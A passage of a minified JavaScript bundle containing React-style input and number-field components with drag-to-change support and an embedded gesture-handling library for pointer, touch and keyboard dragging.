t}(c),{className:a,isFocused:l,labelPosition:c,ref:r}),(0,U.createElement)(rd,null,(0,U.createElement)(cd,{className:"components-input-control__label",hideLabelFromVision:s,labelPosition:c,htmlFor:y,size:m},d)),(0,U.createElement)(Zl,{__unstableInputWidth:n,className:"components-input-control__container",disabled:i,hideLabel:g,labelPosition:c},p&&(0,U.createElement)(od,{className:"components-input-control__prefix"},p),o,h&&(0,U.createElement)(ad,{className:"components-input-control__suffix"},h),(0,U.createElement)(sd,{disabled:i,isFocused:l})))})),ld={toVector:(e,t)=>(void 0===e&&(e=t),Array.isArray(e)?e:[e,e]),add:(e,t)=>[e[0]+t[0],e[1]+t[1]],sub:(e,t)=>[e[0]-t[0],e[1]-t[1]],addTo(e,t){e[0]+=t[0],e[1]+=t[1]},subTo(e,t){e[0]-=t[0],e[1]-=t[1]}};function dd(e,t,r){return 0===t||Math.abs(t)===1/0?Math.pow(e,5*r):e*t*r/(t+r*e)}function pd(e,t,r,n=.15){return 0===n?function(e,t,r){return Math.max(t,Math.min(e,r))}(e,t,r):e<t?-dd(t-e,r-t,n)+t:e>r?+dd(e-r,r-t,n)+r:e}function md(e,t,r){return(t=function(e){var t=function(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,"string");if("object"!=typeof n)return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==typeof t?t:String(t)}(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function hd(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function fd(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?hd(Object(r),!0).forEach((function(t){md(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):hd(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}const yd={pointer:{start:"down",change:"move",end:"up"},mouse:{start:"down",change:"move",end:"up"},touch:{start:"start",change:"move",end:"end"},gesture:{start:"start",change:"change",end:"end"}};function gd(e){return e?e[0].toUpperCase()+e.slice(1):""}const _d=["enter","leave"];const vd=["gotpointercapture","lostpointercapture"];function bd(e){let t=e.substring(2).toLowerCase();const r=!!~t.indexOf("passive");r&&(t=t.replace("passive",""));const n=vd.includes(t)?"capturecapture":"capture",o=!!~t.indexOf(n);return o&&(t=t.replace("capture","")),{device:t,capture:o,passive:r}}function Ed(e){return"touches"in e}function wd(e){return Ed(e)?"touch":"pointerType"in e?e.pointerType:"mouse"}function Sd(e){return Ed(e)?function(e){return"touchend"===e.type||"touchcancel"===e.type?e.changedTouches:e.targetTouches}(e)[0]:e}function Td(e){const t=Sd(e);return Ed(e)?t.identifier:t.pointerId}function Rd(e){const t=Sd(e);return[t.clientX,t.clientY]}function Od(e,...t){return"function"==typeof e?e(...t):e}function Ad(){}function Cd(...e){return 0===e.length?Ad:1===e.length?e[0]:function(){let t;for(const r of e)t=r.apply(this,arguments)||t;return t}}function xd(e,t){return Object.assign({},t,e||{})}class Id{constructor(e,t,r){this.ctrl=e,this.args=t,this.key=r,this.state||(this.state={},this.computeValues([0,0]),this.computeInitial(),this.init&&this.init(),this.reset())}get state(){return this.ctrl.state[this.key]}set state(e){this.ctrl.state[this.key]=e}get shared(){return this.ctrl.state.shared}get eventStore(){return this.ctrl.gestureEventStores[this.key]}get timeoutStore(){return this.ctrl.gestureTimeoutStores[this.key]}get config(){return this.ctrl.config[this.key]}get sharedConfig(){return this.ctrl.config.shared}get handler(){return this.ctrl.handlers[this.key]}reset(){const{state:e,shared:t,ingKey:r,args:n}=this;t[r]=e._active=e.active=e._blocked=e._force=!1,e._step=[!1,!1],e.intentional=!1,e._movement=[0,0],e._distance=[0,0],e._direction=[0,0],e._delta=[0,0],e._bounds=[[-1/0,1/0],[-1/0,1/0]],e.args=n,e.axis=void 0,e.memo=void 0,e.elapsedTime=e.timeDelta=0,e.direction=[0,0],e.distance=[0,0],e.overflow=[0,0],e._movementBound=[!1,!1],e.velocity=[0,0],e.movement=[0,0],e.delta=[0,0],e.timeStamp=0}start(e){const t=this.state,r=this.config;t._active||(this.reset(),this.computeInitial(),t._active=!0,t.target=e.target,t.currentTarget=e.currentTarget,t.lastOffset=r.from?Od(r.from,t):t.offset,t.offset=t.lastOffset,t.startTime=t.timeStamp=e.timeStamp)}computeValues(e){const t=this.state;t._values=e,t.values=this.config.transform(e)}computeInitial(){const e=this.state;e._initial=e._values,e.initial=e.values}compute(e){const{state:t,config:r,shared:n}=this;t.args=this.args;let o=0;if(e&&(t.event=e,r.preventDefault&&e.cancelable&&t.event.preventDefault(),t.type=e.type,n.touches=this.ctrl.pointerIds.size||this.ctrl.touchIds.size,n.locked=!!document.pointerLockElement,Object.assign(n,function(e){const t={};if("buttons"in e&&(t.buttons=e.buttons),"shiftKey"in e){const{shiftKey:r,altKey:n,metaKey:o,ctrlKey:a}=e;Object.assign(t,{shiftKey:r,altKey:n,metaKey:o,ctrlKey:a})}return t}(e)),n.down=n.pressed=n.buttons%2==1||n.touches>0,o=e.timeStamp-t.timeStamp,t.timeStamp=e.timeStamp,t.elapsedTime=t.timeStamp-t.startTime),t._active){const e=t._delta.map(Math.abs);ld.addTo(t._distance,e)}this.axisIntent&&this.axisIntent(e);const[a,i]=t._movement,[s,c]=r.threshold,{_step:u,values:l}=t;if(r.hasCustomTransform?(!1===u[0]&&(u[0]=Math.abs(a)>=s&&l[0]),!1===u[1]&&(u[1]=Math.abs(i)>=c&&l[1])):(!1===u[0]&&(u[0]=Math.abs(a)>=s&&Math.sign(a)*s),!1===u[1]&&(u[1]=Math.abs(i)>=c&&Math.sign(i)*c)),t.intentional=!1!==u[0]||!1!==u[1],!t.intentional)return;const d=[0,0];if(r.hasCustomTransform){const[e,t]=l;d[0]=!1!==u[0]?e-u[0]:0,d[1]=!1!==u[1]?t-u[1]:0}else d[0]=!1!==u[0]?a-u[0]:0,d[1]=!1!==u[1]?i-u[1]:0;this.restrictToAxis&&!t._blocked&&this.restrictToAxis(d);const p=t.offset,m=t._active&&!t._blocked||t.active;m&&(t.first=t._active&&!t.active,t.last=!t._active&&t.active,t.active=n[this.ingKey]=t._active,e&&(t.first&&("bounds"in r&&(t._bounds=Od(r.bounds,t)),this.setup&&this.setup()),t.movement=d,this.computeOffset()));const[h,f]=t.offset,[[y,g],[_,v]]=t._bounds;t.overflow=[h<y?-1:h>g?1:0,f<_?-1:f>v?1:0],t._movementBound[0]=!!t.overflow[0]&&(!1===t._movementBound[0]?t._movement[0]:t._movementBound[0]),t._movementBound[1]=!!t.overflow[1]&&(!1===t._movementBound[1]?t._movement[1]:t._movementBound[1]);const b=t._active&&r.rubberband||[0,0];if(t.offset=function(e,[t,r],[n,o]){const[[a,i],[s,c]]=e;return[pd(t,a,i,n),pd(r,s,c,o)]}(t._bounds,t.offset,b),t.delta=ld.sub(t.offset,p),this.computeMovement(),m&&(!t.last||o>32)){t.delta=ld.sub(t.offset,p);const e=t.delta.map(Math.abs);ld.addTo(t.distance,e),t.direction=t.delta.map(Math.sign),t._direction=t._delta.map(Math.sign),!t.first&&o>0&&(t.velocity=[e[0]/o,e[1]/o],t.timeDelta=o)}}emit(){const e=this.state,t=this.shared,r=this.config;if(e._active||this.clean(),(e._blocked||!e.intentional)&&!e._force&&!r.triggerAllEvents)return;const n=this.handler(fd(fd(fd({},t),e),{},{[this.aliasKey]:e.values}));void 0!==n&&(e.memo=n)}clean(){this.eventStore.clean(),this.timeoutStore.clean()}}class kd extends Id{constructor(...e){super(...e),md(this,"aliasKey","xy")}reset(){super.reset(),this.state.axis=void 0}init(){this.state.offset=[0,0],this.state.lastOffset=[0,0]}computeOffset(){this.state.offset=ld.add(this.state.lastOffset,this.state.movement)}computeMovement(){this.state.movement=ld.sub(this.state.offset,this.state.lastOffset)}axisIntent(e){const t=this.state,r=this.config;if(!t.axis&&e){const n="object"==typeof r.axisThreshold?r.axisThreshold[wd(e)]:r.axisThreshold;t.axis=function([e,t],r){const n=Math.abs(e),o=Math.abs(t);return n>o&&n>r?"x":o>n&&o>r?"y":void 0}(t._movement,n)}t._blocked=(r.lockDirection||!!r.axis)&&!t.axis||!!r.axis&&r.axis!==t.axis}restrictToAxis(e){if(this.config.axis||this.config.lockDirection)switch(this.state.axis){case"x":e[1]=0;break;case"y":e[0]=0}}}const Nd=e=>e,Dd={enabled:(e=!0)=>e,eventOptions:(e,t,r)=>fd(fd({},r.shared.eventOptions),e),preventDefault:(e=!1)=>e,triggerAllEvents:(e=!1)=>e,rubberband(e=0){switch(e){case!0:return[.15,.15];case!1:return[0,0];default:return ld.toVector(e)}},from:e=>"function"==typeof e?e:null!=e?ld.toVector(e):void 0,transform(e,t,r){const n=e||r.shared.transform;return this.hasCustomTransform=!!n,n||Nd},threshold:e=>ld.toVector(e,0)},Pd=fd(fd({},Dd),{},{axis(e,t,{axis:r}){if(this.lockDirection="lock"===r,!this.lockDirection)return r},axisThreshold:(e=0)=>e,bounds(e={}){if("function"==typeof e)return t=>Pd.bounds(e(t));if("current"in e)return()=>e.current;if("function"==typeof HTMLElement&&e instanceof HTMLElement)return e;const{left:t=-1/0,right:r=1/0,top:n=-1/0,bottom:o=1/0}=e;return[[t,r],[n,o]]}}),Md={ArrowRight:(e,t=1)=>[e*t,0],ArrowLeft:(e,t=1)=>[-1*e*t,0],ArrowUp:(e,t=1)=>[0,-1*e*t],ArrowDown:(e,t=1)=>[0,e*t]},Fd="undefined"!=typeof window&&window.document&&window.document.createElement;function Ld(){return Fd&&"ontouchstart"in window||Fd&&window.navigator.maxTouchPoints>1}const Ud={isBrowser:Fd,gesture:function(){try{return"constructor"in GestureEvent}catch(e){return!1}}(),touch:Ld(),touchscreen:Ld(),pointer:Fd&&"onpointerdown"in window,pointerLock:Fd&&"exitPointerLock"in window.document},zd={mouse:0,touch:0,pen:8},Bd=fd(fd({},Pd),{},{device(e,t,{pointer:{touch:r=!1,lock:n=!1,mouse:o=!1}={}}){return this.pointerLock=n&&Ud.pointerLock,Ud.touch&&r?"touch":this.pointerLock?"mouse":Ud.pointer&&!o?"pointer":Ud.touch?"touch":"mouse"},preventScrollAxis(e,t,{preventScroll:r}){if(this.preventScrollDelay="number"==typeof r?r:r||void 0===r&&e?250:void 0,Ud.touchscreen&&!1!==r)return e||(void 0!==r?"y":void 0)},pointerCapture(e,t,{pointer:{capture:r=!0,buttons:n=1,keys:o=!0}={}}){return this.pointerButtons=n,this.keys=o,!this.pointerLock&&"pointer"===this.device&&r},threshold(e,t,{filterTaps:r=!1,tapsThreshold:n=3,axis:o}){const a=ld.toVector(e,r?n:o?1:0);return this.filterTaps=r,this.tapsThreshold=n,a},swipe({velocity:e=.5,distance:t=50,duration:r=250}={}){return{velocity:this.transform(ld.toVector(e)),distance:this.transform(ld.toVector(t)),duration:r}},delay(e=0){switch(e){case!0:return 180;case!1:return 0;default:return e}},axisThreshold:e=>e?fd(fd({},zd),e):zd,keyboardDisplacement:(e=10)=>e});fd(fd({},Dd),{},{device(e,t,{shared:r,pointer:{touch:n=!1}={}}){if(r.target&&!Ud.touch&&Ud.gesture)return"gesture";if(Ud.touch&&n)return"touch";if(Ud.touchscreen){if(Ud.pointer)return"pointer";if(Ud.touch)return"touch"}},bounds(e,t,{scaleBounds:r={},angleBounds:n={}}){const o=e=>{const t=xd(Od(r,e),{min:-1/0,max:1/0});return[t.min,t.max]},a=e=>{const t=xd(Od(n,e),{min:-1/0,max:1/0});return[t.min,t.max]};return"function"!=typeof r&&"function"!=typeof n?[o(),a()]:e=>[o(e),a(e)]},threshold(e,t,r){return this.lockDirection="lock"===r.axis,ld.toVector(e,this.lockDirection?[.1,3]:0)},modifierKey:e=>void 0===e?"ctrlKey":e,pinchOnWheel:(e=!0)=>e}),fd(fd({},Pd),{},{mouseOnly:(e=!0)=>e}),fd(fd({},Pd),{},{mouseOnly:(e=!0)=>e});const $d=new Map,Hd=new Map,Vd={key:"drag",engine:class extends kd{constructor(...e){super(...e),md(this,"ingKey","dragging")}reset(){super.reset();const e=this.state;e._pointerId=void 0,e._pointerActive=!1,e._keyboardActive=!1,e._preventScroll=!1,e._delayed=!1,e.swipe=[0,0],e.tap=!1,e.canceled=!1,e.cancel=this.cancel.bind(this)}setup(){const e=this.state;if(e._bounds instanceof HTMLElement){const t=e._bounds.getBoundingClientRect(),r=e.currentTarget.getBoundingClientRect(),n={left:t.left-r.left+e.offset[0],right:t.right-r.right+e.offset[0],top:t.top-r.top+e.offset[1],bottom:t.bottom-r.bottom+e.offset[1]};e._bounds=Pd.bounds(n)}}cancel(){const e=this.state;e.canceled||(e.canceled=!0,e._active=!1,setTimeout((()=>{this.compute(),this.emit()}),0))}setActive(){this.state._active=this.state._pointerActive||this.state._keyboardActive}clean(){this.pointerClean(),this.state._pointerActive=!1,this.state._keyboardActive=!1,super.clean()}pointerDown(e){const t=this.config,r=this.state;if(null!=e.buttons&&(Array.isArray(t.pointerButtons)?!t.pointerButtons.includes(e.buttons):-1!==t.pointerButtons&&t.pointerButtons!==e.buttons))return;const n=this.ctrl.setEventIds(e);t.pointerCapture&&e.target.setPointerCapture(e.pointerId),n&&n.size>1&&r._pointerActive||(this.start(e),this.setupPointer(e),r._pointerId=Td(e),r._pointerActive=!0,this.computeValues(Rd(e)),this.computeInitial(),t.preventScrollAxis&&"mouse"!==wd(e)?(r._active=!1,this.setupScrollPrevention(e)):t.delay>0?(this.setupDelayTrigger(e),t.triggerAllEvents&&(this.compute(e),this.emit())):this.startPointerDrag(e))}startPointerDrag(e){const t=this.state;t._active=!0,t._preventScroll=!0,t._delayed=!1,this.compute(e),this.emit()}pointerMove(e){const t=this.state,r=this.config;if(!t._pointerActive)return;const n=Td(e);if(void 0!==t._pointerId&&n!==t._pointerId)return;const o=Rd(e);return document.pointerLockElement===e.target?t._delta=[e.movementX,e.movementY]:(t._delta=ld.sub(o,t._values),this.computeValues(o)),ld.addTo(t._movement,t._delta),this.compute(e),t._delayed&&t.intentional?(this.timeoutStore.remove("dragDelay"),t.active=!1,void this.startPointerDrag(e)):r.preventScrollAxis&&!t._preventScroll?t.axis?t.axis===r.preventScrollAxis||"xy"===r.preventScrollAxis?(t._active=!1,void this.clean()):(this.timeoutStore.remove("startPointerDrag"),void this.startPointerDrag(e)):void 0:void this.emit()}pointerUp(e){this.ctrl.setEventIds(e);try{this.config.pointerCapture&&e.target.hasPointerCapture(e.pointerId)&&e.target.releasePointerCapture(e.pointerId)}catch(e){}const t=this.state,r=this.config;if(!t._active||!t._pointerActive)return;const n=Td(e);if(void 0!==t._pointerId&&n!==t._pointerId)return;this.state._pointerActive=!1,this.setActive(),this.compute(e);const[o,a]=t._distance;if(t.tap=o<=r.tapsThreshold&&a<=r.tapsThreshold,t.tap&&r.filterTaps)t._force=!0;else{const[e,n]=t._delta,[o,a]=t._movement,[i,s]=r.swipe.velocity,[c,u]=r.swipe.distance,l=r.swipe.duration;if(t.elapsedTime<l){const r=Math.abs(e/t.timeDelta),l=Math.abs(n/t.timeDelta);r>i&&Math.abs(o)>c&&(t.swipe[0]=Math.sign(e)),l>s&&Math.abs(a)>u&&(t.swipe[1]=Math.sign(n))}}this.emit()}pointerClick(e){!this.state.tap&&e.detail>0&&(e.preventDefault(),e.stopPropagation())}setupPointer(e){const t=this.config,r=t.device;t.pointerLock&&e.currentTarget.requestPointerLock(),t.pointerCapture||(this.eventStore.add(this.sharedConfig.window,r,"change",this.pointerMove.bind(this)),this.eventStore.add(this.sharedConfig.window,r,"end",this.pointerUp.bind(this)),this.eventStore.add(this.sharedConfig.window,r,"cancel",this.pointerUp.bind(this)))}pointerClean(){this.config.pointerLock&&document.pointerLockElement===this.state.currentTarget&&document.exitPointerLock()}preventScroll(e){this.state._preventScroll&&e.cancelable&&e.preventDefault()}setupScrollPrevention(e){this.state._preventScroll=!1,function(e){"persist"in e&&"function"==typeof e.persist&&e.persist()}(e);const t=this.eventStore.add(this.sharedConfig.window,"touch","change",this.preventScroll.bind(this),{passive:!1});this.eventStore.add(this.sharedConfig.window,"touch","end",t),this.eventStore.add(this.sharedConfig.window,"touch","cancel",t),this.timeoutStore.add("startPointerDrag",this.startPointerDrag.bind(this),this.config.preventScrollDelay,e)}setupDelayTrigger(e){this.state._delayed=!0,this.timeoutStore.add("dragDelay",(()=>{this.state._step=[0,0],this.startPointerDrag(e)}),this.config.delay)}keyDown(e){const t=Md[e.key];if(t){const r=this.state,n=e.shiftKey?10:e.altKey?.1:1;this.start(e),r._delta=t(this.config.keyboardDisplacement,n),r._keyboardActive=!0,ld.addTo(r._movement,r._delta),this.compute(e),this.emit()}}keyUp(e){e.key in Md&&(this.state._keyboardActive=!1,this.setActive(),this.compute(e),this.emit())}bind(e){const t=this.config.device;e(t,"start",this.pointerDown.bind(this)),this.config.pointerCapture&&(e(t,"change",this.pointerMove.bind(this)),e(t,"end",this.pointerUp.bind(this)),e(t,"cancel",this.pointerUp.bind(this)),e("lostPointerCapture","",this.pointerUp.bind(this))),this.config.keys&&(e("key","down",this.keyDown.bind(this)),e("key","up",this.keyUp.bind(this))),this.config.filterTaps&&e("click","",this.pointerClick.bind(this),{capture:!0,passive:!1})}},resolver:Bd};const Wd={target(e){if(e)return()=>"current"in e?e.current:e},enabled:(e=!0)=>e,window:(e=(Ud.isBrowser?window:void 0))=>e,eventOptions:({passive:e=!0,capture:t=!1}={})=>({passive:e,capture:t}),transform:e=>e},qd=["target","eventOptions","window","enabled","transform"];function Yd(e={},t){const r={};for(const[n,o]of Object.entries(t))switch(typeof o){case"function":r[n]=o.call(r,e[n],n,e);break;case"object":r[n]=Yd(e[n],o);break;case"boolean":o&&(r[n]=e[n])}return r}class jd{constructor(e,t){md(this,"_listeners",new Set),this._ctrl=e,this._gestureKey=t}add(e,t,r,n,o){const a=this._listeners,i=function(e,t=""){const r=yd[e];return e+(r&&r[t]||t)}(t,r),s=fd(fd({},this._gestureKey?this._ctrl.config[this._gestureKey].eventOptions:{}),o);e.addEventListener(i,n,s);const c=()=>{e.removeEventListener(i,n,s),a.delete(c)};return a.add(c),c}clean(){this._listeners.forEach((e=>e())),this._listeners.clear()}}class Gd{constructor(){md(this,"_timeouts",new Map)}add(e,t,r=140,...n){this.remove(e),this._timeouts.set(e,window.setTimeout(t,r,...n))}remove(e){const t=this._timeouts.get(e);t&&window.clearTimeout(t)}clean(){this._timeouts.forEach((e=>{window.clearTimeout(e)})),this._timeouts.clear()}}class Kd{constructor(e){var t,r;md(this,"gestures",new Set),md(this,"_targetEventStore",new jd(this)),md(this,"gestureEventStores",{}),md(this,"gestureTimeoutStores",{}),md(this,"handlers",{}),md(this,"config",{}),md(this,"pointerIds",new Set),md(this,"touchIds",new Set),md(this,"state",{shared:{shiftKey:!1,metaKey:!1,ctrlKey:!1,altKey:!1}}),t=this,(r=e).drag&&Qd(t,"drag"),r.wheel&&Qd(t,"wheel"),r.scroll&&Qd(t,"scroll"),r.move&&Qd(t,"move"),r.pinch&&Qd(t,"pinch"),r.hover&&Qd(t,"hover")}setEventIds(e){return Ed(e)?(this.touchIds=new Set(function(e){return function(e){return Array.from(e.touches).filter((t=>{var r,n;return t.target===e.currentTarget||(null===(r=e.currentTarget)||void 0===r||null===(n=r.contains)||void 0===n?void 0:n.call(r,t.target))}))}(e).map((e=>e.identifier))}(e)),this.touchIds):"pointerId"in e?("pointerup"===e.type||"pointercancel"===e.type?this.pointerIds.delete(e.pointerId):"pointerdown"===e.type&&this.pointerIds.add(e.pointerId),this.pointerIds):void 0}applyHandlers(e,t){this.handlers=e,this.nativeHandlers=t}applyConfig(e,t){this.config=function(e,t,r={}){const n=e,{target:o,eventOptions:a,window:i,enabled:s,transform:c}=n,u=function(e,t){if(null==e)return{};var r,n,o=function(e,t){if(null==e)return{};var r,n,o={},a=Object.keys(e);for(n=0;n<a.length;n++)r=a[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n<a.length;n++)r=a[n],t.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}(n,qd);if(r.shared=Yd({target:o,eventOptions:a,window:i,enabled:s,transform:c},Wd),t){const e=Hd.get(t);r[t]=Yd(fd({shared:r.shared},u),e)}else for(const e in u){const t=Hd.get(e);t&&(r[e]=Yd(fd({shared:r.shared},u[e]),t))}return r}(e,t,this.config)}clean(){this._targetEventStore.clean();for(const e of this.gestures)this.gestureEventStores[e].clean(),this.gestureTimeoutStores[e].clean()}effect(){return this.config.shared.target&&this.bind(),()=>this._targetEventStore.clean()}bind(...e){const t=this.config.shared,r={};let n;if(!t.target||(n=t.target(),n)){if(t.enabled){for(const t of this.gestures){const o=this.config[t],a=Zd(r,o.eventOptions,!!n);o.enabled&&new($d.get(t))(this,e,t).bind(a)}const o=Zd(r,t.eventOptions,!!n);for(const t in this.nativeHandlers)o(t,"",(r=>this.nativeHandlers[t](fd(fd({},this.state.shared),{},{event:r,args:e}))),void 0,!0)}for(const e in r)r[e]=Cd(...r[e]);if(!n)return r;for(const e in r){const{device:t,capture:o,passive:a}=bd(e);this._targetEventStore.add(n,t,"",r[e],{capture:o,passive:a})}}}}function Qd(e,t){e.gestures.add(t),e.gestureEventStores[t]=new jd(e,t),e.gestureTimeoutStores[t]=new Gd}const Zd=(e,t,r)=>(n,o,a,i={},s=!1)=>{var c,u;const l=null!==(c=i.capture)&&void 0!==c?c:t.capture,d=null!==(u=i.passive)&&void 0!==u?u:t.passive;let p=s?n:function(e,t="",r=!1){const n=yd[e],o=n&&n[t]||t;return"on"+gd(e)+gd(o)+(function(e=!1,t){return e&&!_d.includes(t)}(r,o)?"Capture":"")}(n,o,l);r&&d&&(p+="Passive"),e[p]=e[p]||[],e[p].push(a)};function Xd(e,t){var r;return r=Vd,$d.set(r.key,r.engine),Hd.set(r.key,r.resolver),function(e,t={},r,n){const o=Ma().useMemo((()=>new Kd(e)),[]);if(o.applyHandlers(e,n),o.applyConfig(t,r),Ma().useEffect(o.effect.bind(o)),Ma().useEffect((()=>o.clean.bind(o)),[]),void 0===t.target)return o.bind.bind(o)}({drag:e},t||{},"drag")}const Jd=e=>e,ep={_event:{},error:null,initialValue:"",isDirty:!1,isDragEnabled:!1,isDragging:!1,isPressEnterToChange:!1,value:""},tp="CHANGE",rp="COMMIT",np="DRAG_END",op="DRAG_START",ap="DRAG",ip="INVALIDATE",sp="PRESS_DOWN",cp="PRESS_ENTER",up="PRESS_UP",lp="RESET";const dp=(0,U.forwardRef)((function(e,t){let{disabled:r=!1,dragDirection:n="n",dragThreshold:o=10,id:a,isDragEnabled:i=!1,isFocused:s,isPressEnterToChange:c=!1,onBlur:u=V.noop,onChange:l=V.noop,onDrag:d=V.noop,onDragEnd:p=V.noop,onDragStart:m=V.noop,onFocus:h=V.noop,onKeyDown:f=V.noop,onValidate:y=V.noop,size:g="default",setIsFocused:_,stateReducer:v=(e=>e),value:b,type:E,...w}=e;const{state:S,change:T,commit:R,drag:O,dragEnd:A,dragStart:C,invalidate:x,pressDown:I,pressEnter:k,pressUp:N,reset:D}=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Jd,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:ep;const[r,n]=(0,U.useReducer)((o=e,(e,t)=>{const r={...e};switch(t.type){case up:case sp:r.isDirty=!1;break;case op:r.isDragging=!0;break;case np:r.isDragging=!1;break;case tp:r.error=null,r.value=t.payload.value,e.isPressEnterToChange&&(r.isDirty=!0);break;case rp:r.value=t.payload.value,r.isDirty=!1;break;case lp:r.error=null,r.isDirty=!1,r.value=t.payload.value||e.initialValue;break;case ip:r.error=t.payload.error}return t.payload.event&&(r._event=t.payload.event),o(r,t)}),function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ep;const{value:t}=e;return{...ep,...e,initialValue:t}}(t));var o;const a=e=>(t,r)=>{r&&r.persist&&r.persist(),n({type:e,payload:{value:t,event:r}})},i=e=>t=>{t&&t.persist&&t.persist(),n({type:e,payload:{event:t}})},s=e=>t=>{n({type:e,payload:t})},c=a(tp),u=a(lp),l=a(rp),d=s(op),p=s(ap),m=s(np),h=i(up),f=i(sp),y=i(cp);return{change:c,commit:l,dispatch:n,drag:p,dragEnd:m,dragStart:d,invalidate:(e,t)=>n({type:ip,payload:{error:e,event:t}}),pressDown:f,pressEnter:y,pressUp:h,reset:u,state:r}}(v,{isDragEnabled:i,value:b,isPressEnterToChange:c}),{_event:P,value:M,isDragging:F,isDirty:L}=S,z=(0,U.useRef)(!1),B=function(e,t){const r=function(e){let t="ns-resize";switch(e){case"n":case"s":t="ns-resize";break;case"e":case"w":t="ew-resize"}return t}(t);return(0,U.useEffect)((()=>{document.documentElement.style.cursor=e?r:null}),[e]),r}(F,n);Wc((()=>{b!==M&&(s||z.current?L||(l(M,{event:P}),z.current=!1):R(b,P))}),[M,L,s,b]);const $=e=>{const t=e.currentTarget.value;try{y(t),R(t,e)}catch(t){x(t,e)}},H=Xd((e=>{const{distance:t,dragging:r,event:n,target:o}=e;if(e.event={...e.event,target:o},t){if(n.stopPropagation(),!r)return p(e),void A(e);d(e),O(e),F||(m(e),C(e))}}),{axis:"e"===n||"w"===n?"x":"y",threshold:o,enabled:i,pointer:{capture:!1}}),W=i?H():{};let q;return"number"===E&&(q=e=>{var t;null===(t=w.onMouseDown)||void 0===t||t.call(w,e),e.currentTarget!==e.currentTarget.ownerDocument.activeElement&&e.currentTarget.focus()}),(0,U.createElement)(Xl,Fa({},w,W,{className:"components-input-control__input",disabled:r,dragCursor:B,isDragging:F,id:a,onBlur:e=>{u(e),null==_||_(!1),!L&&e.target.validity.valid||(z.current=!0,$(e))},onChange:e=>{const t=e.target.value;T(t,e)},onFocus:e=>{h(e),null==_||_(!0)},onKeyDown:e=>{const{key:t}=e;switch(f(e),t){case"ArrowUp":N(e);break;case"ArrowDown":I(e);break;case"Enter":k(e),c&&(e.preventDefault(),$(e));break;case"Escape":c&&L&&(e.preventDefault(),D(b,e))}},onMouseDown:q,ref:t,inputSize:g,value:M,type:E}))})),pp=dp;const mp=(0,U.forwardRef)((function e(t,r){let{__unstableStateReducer:n=(e=>e),__unstableInputWidth:o,className:a,disabled:i=!1,hideLabelFromVision:s=!1,id:c,isPressEnterToChange:u=!1,label:l,labelPosition:d="top",onChange:p=V.noop,onValidate:m=V.noop,onKeyDown:h=V.noop,prefix:f,size:y="default",suffix:g,value:_,...v}=t;const[b,E]=(0,U.useState)(!1),w=function(t){const r=(0,za.useInstanceId)(e);return t||`inspector-input-control-${r}`}(c),S=Ua()("components-input-control",a);return(0,U.createElement)(ud,{__unstableInputWidth:o,className:S,disabled:i,gap:3,hideLabelFromVision:s,id:w,isFocused:b,justify:"left",label:l,labelPosition:d,prefix:f,size:y,suffix:g},(0,U.createElement)(pp,Fa({},v,{className:"components-input-control__input",disabled:i,id:w,isFocused:b,isPressEnterToChange:u,onChange:p,onKeyDown:h,onValidate:m,ref:r,setIsFocused:E,size:y,stateReducer:n,value:_})))}));var hp={name:"euqsgg",styles:"input[type='number']::-webkit-outer-spin-button,input[type='number']::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}input[type='number']{-moz-appearance:textfield;}"};const fp=e=>{let{hideHTMLArrows:t}=e;return t?hp:""},yp=Mc(mp,{target:"ep48uk90"})(fp,";");function gp(e){const t=Number(e);return isNaN(t)?0:t}function _p(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return t.reduce(((e,t)=>e+gp(t)),0)}function vp(){let e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1/0,t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1/0,r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:1;const n=gp(arguments.length>0&&void 0!==arguments[0]?arguments[0]:0),o=gp(r),a=function(e){const t=(e+"").split(".");return void 0!==t[1]?t[1].length:0}(r),i=Math.round(n/o)*o,s=(0,V.clamp)(i,e,t);return a?gp(s.toFixed(a)):s}const bp=(0,U.forwardRef)((function(e,t){let{__unstableStateReducer:r,className:n,dragDirection:o="n",hideHTMLArrows:a=!1,isDragEnabled:i=!0,isShiftStepEnabled:s=!0,label:c,max:u=1/0,min:l=-1/0,required:d=!1,shiftStep:p=10,step:m=1,type:h="number",value:f,...y}=e;const g="any"===m,_=g?1:parseFloat(m),v=vp(0,l,u,_),b=(e,t)=>g?Math.min(u,Math.max(l,e)):vp(e,l,u,null!=t?t:_),E="number"===h?"off":null,w=Ua()("components-number-control",n);return(0,U.createElement)(yp,Fa({autoComplete:E,inputMode:"numeric"},y,{className:w,dragDirection:o,hideHTMLArrows:a,isDragEnabled:i,label:c,max:u,min:l,ref:t,required:d,step:m,type:h,value:f,__unstableStateReducer:(e,t)=>{var n;const a=((e,t)=>{const r={...e},{type:n,payload:a}=t,c=null==a?void 0:a.event,u=r.value;if(n===up||n===sp){const e=c.shiftKey&&s,t=e?parseFloat(p)*_:_;let o=function(e){const t=""===e;return!$c(e)||t}(u)?v:u;null!=c&&c.preventDefault&&c.preventDefault(),n===up&&(o=_p(o,t)),n===sp&&(o=function(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];return t.reduce(((e,t,r)=>{const n=gp(t);return 